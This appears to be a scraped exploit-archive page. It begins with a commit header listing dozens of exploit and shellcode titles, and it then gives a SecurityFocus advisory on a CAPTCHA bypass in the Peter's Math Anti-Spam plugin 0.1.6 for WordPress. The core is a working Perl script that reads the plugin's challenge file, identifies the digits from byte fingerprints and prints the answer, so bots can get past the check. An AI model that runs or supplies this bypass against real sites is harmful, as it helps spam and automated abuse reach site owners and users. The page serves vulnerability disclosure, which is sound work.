880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
60 lines
No EOL
2.3 KiB
Perl
Executable file
60 lines
No EOL
2.3 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/27287/info
|
|
|
|
Peter's Math Anti-Spam for WordPress is prone to a security-bypass vulnerability.
|
|
|
|
This issue occurs when presenting a visitor with challenge data to determine if they are a legitimate user or an automaton. The challenge data is poorly obfuscated and can be interpreted by script code.
|
|
|
|
Attackers can leverage this issue to bypass the security measures provided by the plugin via an automated script. This could aid in spam distribution and other attacks.
|
|
|
|
Peter's Math Anti-Spam for WordPress 0.1.6 is vulnerable; other versions may also be affected.
|
|
|
|
$ cat math_spam.pl
|
|
#!/usr/bin/perl -w
|
|
|
|
require bytes;
|
|
|
|
my $buffer;
|
|
my $number;
|
|
my $op1;
|
|
my $op2;
|
|
|
|
my %numberPrints = ("0045", 0,
|
|
"00c5", 1,
|
|
"0485", 2,
|
|
"4309", 3,
|
|
"0205", 4,
|
|
"0847", 5,
|
|
"0601", 6,
|
|
"0644", 7,
|
|
"0405", 8,
|
|
"0031", 9);
|
|
|
|
my %numberSizes = ( 0, 4045,
|
|
1, 3983,
|
|
2, 4431,
|
|
3, 4250,
|
|
4, 4595,
|
|
5, 5389,
|
|
6, 4949,
|
|
7, 4436,
|
|
8, 4584,
|
|
9, 5009);
|
|
|
|
my $PLUS_SIZE = 7365;
|
|
|
|
open (INFILE, "<$ARGV[0]");
|
|
binmode(INFILE);
|
|
sysseek(INFILE, 14, 0); #That "0" third argument makes seeking
|
|
absoulte
|
|
sysread(INFILE, $buffer, 2);
|
|
#$number = sprintf("%x%x", map {ord($_)}
|
|
split(//,substr($buffer,0,2)));
|
|
$number = sprintf("%.2x%.2x", map {ord($_)} split(//,$buffer));
|
|
$op1 = $numberPrints{$number};
|
|
sysseek(INFILE, $numberSizes{$op1} + $PLUS_SIZE - 2, 1); #That
|
|
third "1" argument makes seeking relative
|
|
sysread(INFILE, $buffer, 2);
|
|
$number = sprintf("%.2x%.2x", map {ord($_)} split(//,$buffer));
|
|
$op2 = $numberPrints{$number};
|
|
print $op1 . " + " . $op2 . " = " . ($op1+$op2) . "\n";
|
|
close(INFILE); |